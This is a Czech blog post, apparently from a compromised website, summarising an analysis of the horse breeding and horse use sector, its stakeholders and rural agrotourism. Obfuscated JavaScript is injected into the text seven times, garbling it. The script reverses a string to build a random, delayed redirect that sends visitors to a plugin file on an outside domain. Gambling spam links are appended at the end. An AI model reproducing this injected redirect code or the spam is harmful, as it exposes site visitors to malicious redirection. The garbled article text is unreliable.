DanielT Žádný komentář
Práce „Analýza vnějšího a vnitřního prostředí chovu a užití koní“ si klade za cíl zmapovat problematiku chovu a užití koní. Předkládaná práce je rozdělena do tří základních částí a z metodologického hlediska uplatňuje empiricko-analytický přístup, založený na analytických metodách výzkumu. Cílem práce je vypracovat analýzu vnějšího a vnitřního prostředí chovu a užití koní a na základě ní zpracovat „strategii“, která je určena pro potřeby jednotlivých aktérů. Analýza je podřízena cíli, kterým je zpracování strategie oboru koní. Ta je v tomto kontextu vnímána poněkud odlišně od strategie organizací. Hlavním cílem strategie totiž není zisk, ale vytvoření vhodných podmínek pro rozvoj sektoru koní.
Analýza by měla napomoci ke vnímání, že chov a užití koní je nutné chápat jako výsledek cílevědomého procesu rozhodování, kdy se na budoucím vývoji podílí celá řada aktérů, dokonce i zcela mimovolně, kteří se na chovu a užití koní podílí. Již samotná analýza vychází z poznání, že na chovu a užití koní se podílí celá řada subjektů, které nemají společné zájmy a cíle. Vzhledem k různorodosti potřeb jednotlivých subjektů, jak podnikatelů v oblasti chovu, prodeje koní, majitelů koní a jezdců, kteří mají zájem o poskytování koně pro volný čas či sport. Z toho důvodu jde o úkol, který je složitý a obtížný zejména s ohledem na poznání hlavních zájmů a zároveň na poznání hlavních faktorů, které vytváří podmínky a reflektují využití potenciálu koní v rámci poptávky. Zpracování práce bude zaměřeno na:
$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“‘php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 0cm; font-style: normal; font-weight: normal; line-height: 150%; text-decoration: none;” align=”LEFT”>* vymezení hlavního směru budoucího vývoje chovu a užití koní,
* definování příležitostí, které koně a jejich současná pozice v užití má,
* určení a vymezení faktorů, které umožní rozvoj chovu koní, včetně možností jejich prodeje pro konečné zákazníky,
* určení priorit spojených s chovem a užitím koní (nabídka služeb),
* stanovení konkrétních priorit, které mají jednotliví klienti (poptávka po koních a službách)
VYMEZENÍ SEKTORU KONÍ
Česká republika se způsobem života, kulturou, vzdělaností a bohatou historií řadí mezi vyspělé země Evropy. V „sektoru koní“ Česká republika vůči vyspělým zemím není ve všech směrech konkurenceschopná. Vyplývá to z celé řady odborných srovnání, v poslední době však zejména z nárůstu importu koní všech kategorií, tedy nejen sportovních. Jde o důsledek jednak zejména čtyřicetileté izolace od vyspělých zemí světa a v neposlední řadě i dosud nepřijetím transparentní strategie, která by sektor koní představila trhu a tím i stabilizovala subjekty, které v něm sehrávají svou roli, ať již podnikatelské, nebo i další subjekty. Cílem strategie by mělo být vytváření podnikatelského prostředí, které by ze sektoru koní vytvořilo konkurenceschopnou oblast. Ta svým dopadem, týkajícím se zejména rozvoje venkova, diverzifikace zemědělství a vytvářením nových pracovních míst zejména v užití koní (agroturistika, volný čas), dává příležitost i ekonomickým přínosům obecně. V České republice je dlouhodobá zkušenost a tradice.
Zvyšování konkurenceschopnosti zemědělského sektoru je stále více spjato s mimoprodukčním zemědělstvím a důrazem na rozvoj a obnovu venkova. Jako neudržitelné se v zemědělství jeví „zakonzervovat“ strukturu zemědělské produkce. Je potřeba přijmout aktivní zemědělskou politiku podporující „hospodaření“ na venkově. Systém dotací je stále ještě nastaven tak, že nedostatečně podporuje „požadovanou a potřebnou“ změnu. Politika vůči venkovu stále spíše odráží tradiční pohled vycházející z naplnění funkcí „potravinářství“, proto nedostatečně napomáhá ke změnám zemědělského podnikatelského prostředí. V kontextu jednotné zemědělské politiky EU je nutné vnímat, že přijetí opatření podporující diverzifikaci činností na venkově může vést ke zvýšení konkurenceschopnosti zemědělství jako sektoru a zlepšení života zemědělců, stabilitě a rozvoji sociálně ekonomického systému na venkově.
Pro posouzení konkurenceschopnosti sektoru koní je nezbytné vědět, co se děje v jeho okolí, jaké faktory na něj mají vliv, jaký je jejich budoucí vývoj a další informace. K tomu jsou nezbytné mít k dispozici informace o vývoji uvnitř i vně organizace, efektivně je zpracovat a okamžitě zareagovat v souladu se svým posláním. Proto na začátku práce je komplexní analýzu sektoru, zaměřená na vnější a vnitřní faktory sektoru. Role jednotlivých subjektů je významná při rozhodování jak vnímat potřeby vzít v úvahu vnitřní a vnější faktory:
Vnitřní faktory jsou ty, které jsou pod kontrolou chovatelů a těch, kteří se podílí na poskytování služeb pro cílové zákazníky.
Vnější faktory jsou ty, které jsou mimo jejich kontrolu. Ty mohou být přímé nebo nepřímé vlivy. Přímé vlivy zahrnují jednak zákazníky a konkurenci na trhu sportů a trávení volného času, zahraniční konkurenci, nepřímé vlivy zahrnují právní předpisy, hospodářství.
Chov koní – produkce koní, se provádí ve stejných podmínkách a řídí se stejnými principy jako např. chov skotu, spadá jednoznačně do zemědělské prvovýroby. Koně jsou druhem hospodářských zvířat ve smyslu zákona č.154/2000 Sb. Podpora rozvoji chovu koní je nedílnou součástí zemědělské prvovýroby. Proto je chov koní podporován v rámci veškerých dotačních titulů a to jak přímých plateb, tak v rámci podpory rozvoje venkova z prostředků Evropského zemědělského fondu pro rozvoj venkova (EZFRV). Genofond populace, úroveň genové skladby populace je základním předpokladem úspěchu chovu. Efekt genofondu je vázán na reprodukci, a ta dále na zajištění odbytu. Významnou roli musí sehrát zejména Zemské hřebčince. Ty by se měly stát dle územního rozdělení středisky služeb a chovu koní v oblasti genofondu, testací a vzdělávání.
Jde především o:
1. zajišťování špičkového a vhodného genofondu pro celou populaci běžně chovaných plemen koní,
2. zabezpečení v omezeném počtu genofondu hřebců různých rázů či plemen pro potřeby chovatelů, kteří mají zájem např. o chov těžkého teplokrevníka, vhodného k zabezpečení koní pro potřeby široké veřejnosti (ne k vrcholovému sportu)
3. zodpovědnost za správné a dlouhodobé plemenářské využití kladně prověřených plemeníků, popř. včasné vyřazení plemeníků z chovu při negativních výsledcích a to na bázi spolupráce s jednotlivými svazy a chovateli
4. zajištění spolupráce s VŠ a Výzkumnými ústavy za účelem vyhodnocování Kontroly dědičnosti, a užitkovosti metodami používanými špičkovými pracovišti podobného zaměření v Evropě
5. rozšíření nabídky plemenářských služeb pro potřeby jednotlivých svazů.
Chov koní musí být v ČR úzce spjat s jeho užitím. Extenzivní a plošná podpora „koní“ z kapitoly ministerstva zemědělství, jako součást dotační politiky zemědělství, je bez adekvátního zohlednění uspokojení potřeb trhu a ve srovnání se zahraniční konkurencí překonána. Chovatelské cíle musí vycházet z metodiky hodnocení, která kromě charakteristik koně jednotlivých plemen zároveň jednoznačně definuje cílovou skupinu, pro kterou je chov určen. Jde o stanovení zejména výkonnosti, kde je nutné plně vycházet ze zákona o podpoře sportu a pro potřeby jezdectví je nutné zavést „kategorizaci a klasifikaci“ podle potřeb. Z toho důvodu dosavadní třídění koní není dostatečné. V chovatelských plánech schází vyjádření objektivních kriterií naplnění chovatelských cílů (stanovených a vyjádřených měřitelnými a hodnotitelnými parametry) ve smyslu zákona o plemenitbě v souvislosti s cílovým užitím koní.
Základní filozofie rozvoje chovu koní vychází z následujících hledisek:
Ve šlechtitelském procesu je nutné soustavně a významně využívat možnosti zlepšení genofondu importem či mezinárodní spoluprací, vytváření společných podniků zejména v rámci přeshraniční spolupráce, šlechtění je založeno převážně na kontrole dědičnosti, dále pak na kontrole vlastní výkonnosti a na posouzení exteriéru a interiéru chovných koní a jejich potomstva. Problematice kontrol je nutné věnovat rozhodující pozornost, zejména zavedením a dodržováním mezinárodních standardů a praktik.
Cílem v oblasti šlechtění je dosáhnout v co nejkratší době co nejvyššího genetického zisku a to jako součásti tržních podmínek, do procesu chovu a šlechtitelského procesu je nutné zapojit nové praktiky a realizovatelné poznatky z oblasti genetiky, šlechtění a reprodukce (u nás i ze zahraničí).
U plemen koní chovaných v České republice se jedná jednak o zvýšení úrovně chovu anglického plnokrevníka a koně s vlohami určenými pro jezdecký sport (teplokrevná plemena). Jedná se o koně ušlechtilého, korektního a výkonného jezdeckého, který je svými vlohami předurčen pro jezdecký sport. Samostatnou kategorií je chov teplokrevníka pro zápřah. Dále zvyšování kvality chovu chladnokrevných plemen koní určených pro práci v zemědělství a všestranné využití a v neposlední řadě chov malých plemen koní (pony, hafling) jako koní pro volný čas, v případě pony však též pro dětský sport.
Významný pro rozvoj venkova je potenciál venkovské turistiky. V tomto směru jde o příležitost nových podnikatelských aktivit, ke kterým je možné využít prostředky strukturálních fondů, které by vedly ke změně na venkově. Sektor koní představuje optimální spojení mezi zemědělskou prvovýrobou a vytváření nových pracovních míst a příležitost pro podnikatelské aktivity.
Zemědělci nejsou v České republice dominantními obyvateli venkova. Statistiky demografického vývoje v Evropě ukazují, že existuje tendence ke stěhování do měst za prací. V různých státech jsou tyto tendence různě silné. V České republice se na základě průzkumů ukazuje, že až 40% městských obyvatel by se chtělo vystěhovat na venkov nebo do venkovského města s menším počtem obyvatel. Tento trend je výzva pro regionální politiku a politiku venkova. Bydlení na venkově, nebo v příměstských oblastech se stává moderní. Využití tohoto trendu bude mít za následek rozvoj místního trhu a to nejen v oblasti služeb, ale i v oblasti regionálních produktů ze zemědělství. V současné době je venkov domovem zejména pro starší obyvatele a pro bohatší vrstvu lidí. Ta první skupina je na venkově proto, že již nemá jinou možnost, ta druhá proto, že má dostatek finančních prostředků anebo takové povolání, které jí umožňuje pracovat doma nebo za prací denně dojíždět.
Politika venkova by měla tyto dvě skupiny umět rozšířit o střední vrstvy obyvatel a podnikatele. Politika venkova musí najít nástroj k využití ochoty lidí se stěhovat do venkovského prostředí. To samo o sobě představuje hodnoty, které vysoká urbanizace městských aglomerací nedokáže nabídnout. Rekreační fenomén venkova a jeho ekonomické využití V České republice existuje historicky velký rekreační potenciál venkova. Byli to chalupáři, kteří dokázali i přes nepřízeň doby zachovat historicky cenný ráz české a moravské vesnice. Pro venkov je důležité, aby tato funkce zůstala zachována. Je v ní skryt budoucí potenciál pro venkovský rozvoj v rozšířené EU. Jedná se o kulturní dědictví předků. Oprava původních sídel a jejich rekreační využití pro venkovskou turistiku bude nezbytnou součástí úspěšné venkovské politiky a dobrou nepřímou podporou místních zemědělců a odbytu jejich lokální produkce. Cestovní ruch a agroturistika jsou jednou z dalších velmi důležitých oblastí. Rozvoj agroturistiky je nutné vnímat jako cestu k rozšíření služeb, vytváření nových pracovních míst, zejména ve venkovských oblastech a oblastech s vysokou nezaměstnaností. Agroturistika vyžaduje komunikovat především s podnikatelskou sférou působící v této oblasti tak, aby se vytvořila platforma pro diskusi nad problémy, kde je nezbytné lépe koordinovat aktivity a vytvořit shodu na prioritách, jak nejefektivněji potenciál agroturistiky využít.
Sektor koní tak představuje výrobní základnu pro poskytování služeb
* spojených se sportem
* trávením volného času
* cestovní ruch
* zdravotnictví (hippoterapie)
* práci v zemědělství a lese.
Z tohoto pohledu sektor koní představuje a zahrnuje celou řadu subjektů, podnikatelských a nepodnikatelských subjektů. Významnou skupinou subjektů, které působí v sektoru koní jsou subjekty nabízející služby chovatelům a majitelům koní.
* služby podkovářů
* veterinářů
* výživářů
* výrobců různých pomůcek a technologií (např. sedlářů, výrobců oblečení pro jezdce, sportovních pomůcek atd.)
Z výše uvedeného popisu sektoru koní vyplývá, že budoucí vývoj sektoru a jeho konkurenceschopnost vyplývá z požadavku na kvalitní nabídky produktu koní a služeb spojené s péče o koně. Tato nabídka a její kvalita a tedy i konkurenceshopnost, resp. životaschopnost úzce souvisí s odbornou kvalifikací jednotlivých pracovníků (zaměstnanců) v provozech chovu koní.
STRUKTURA SUBJEKTÚ PÚSOBÍCÍCH V SEKTORU KONÍ
1. Chovatelé koní
Tento segment figuruje na počátku celého procesu produkce, resp. chovu koní. V ČR se jedná především o malé a střední privátní chovatelé, v malé míře se zastoupení tří zemských hřebčínů. Samotná pozice chovatele vyžaduje odborné znalosti plemenitby, chovu koní, testačních chovatelských zkoušek, základních znalostí veteriny a ošetřování a legislativy chovu. Současně na sebe váže potřeby zaměstnávat kvalifikovaný persoál ošetřovatelů koní, který bez potřebných znalostí ošetřování kategoríí koní nelze uplatnit pro udržení kvalitního výstupu každého chovu.
2. Chovatelské svazy
Tento segment sdružuje jednotlivé chovatelské asociace a zaštiťují chovatele dle příslušnosti k plemenné knize. Jsou zodpovědní za vedení plemenné knihy, určují plemenný typk koně s jeho exteriovými a charakterovými vlastnostmi a určují konečné užití finálního produktu koně. Je zde určítá pravděpodobost, že by byl zájem o organizování školení svých členů.
3. Jízdárny a sportoviště
Tento segment je zastoupen podnikatelskými skupinami v oblasti poskytování služeb majitelům koní, jako je ustájení, výcvik a trénink privátních koní, organizování jezdeckých akcí a soutěží. Zde jsou potřebné znalosti managementu a organizace provozu jezdeckého střediska pro provozovatele, přičemž znalosti ošetřování, veteriny a výcviku koní je rovněž potřebná, pokud tyto znalosti a dovednocsti nezastoupi kvalifikovaný personál jízdáren, jako je ošetřovatel, cvičitel a trenér a jezdec koní.
4. majitelé koní
Tento segment je nejširší z celého spektra segmentace. Jedná se o amatérskou veřejnost majitelů koní počínaje tzv. jednokoníčkářem až po majitele pěti a více koní. Někteří spojí své potřeby s poskytovateli služeb jízdáren a ustájení, jiní pak si staví své vlastní ustájení a stávají se tak majiteli jezdeckých zařízení. Pokud je majitel teprve čerstvým vlastníkem koně, je lačný po informacích jak s koněm zacházet, ošetřovat a krmit, později pak i základní výcvik, který potřebuje i on sám jako mírně pokorčilý jezdec. Vše s potřebou dát koni to nejlepší.
Zajímavou skupinou majitelů koní jsou majitelé dostihových koní. Tito se svým koním nevěnují prakticky, ale za veškeré výdaje spojené s tréninkem koně a účasti koně v dostizích platí profesionálnímu trenérovi. Znalosti přípravy koně pro dostihové souteže a náležitosti po jeho pořízení, licence a nařízení JockeyClubu usnadňují majiteli orientaci v mnohdy spletité organizaci dostihových závodů.
5. zájemci o jízdu na koních
Segment laické veřejnosti, ze které se později rekrutují jezdci a majitelé koní. Cílem této skupiny je rekreační trávení volného času v sedle koně. Někteří se věnují agroturistice jiní výcviku jezdců, přičemž platí, že pro skutečný požitek byť i jen z procházky na koni platí, že je potřebný minimální jezdecký výcvik a znalosti zacházení s koněm.
6. sportovci na koních
Tento segment se kryje s majiteli koní, neboť většina sportovních jezdců jsou zároveň i majitelé koní a nebo nájemní pracovní a sportovní jezdci. Tento segment se již považuje za odbornou pozici při tréninku koní a tudíž vyžaduje i znalosti systematického tréninku koně.
$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“‘php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 0cm; text-decoration: none;” align=”LEFT”>
$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“‘php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 0cm; text-decoration: none;” align=”LEFT”>
$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“‘php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 0cm; text-decoration: none;” align=”LEFT”>
$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“‘php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 0cm; text-decoration: none;” align=”LEFT”>
$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“‘php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 0cm; text-decoration: none;” align=”LEFT”>
$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“‘php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 0cm;” align=”LEFT”>
https://slot-pulsa.5thanniv.finalfantasyrecordkeeper.com/
https://slot-pulsa.test-infrastructure.fourthwall.com/
https://slot-pulsa.dev2.enlightedinc.com/
Přidat komentář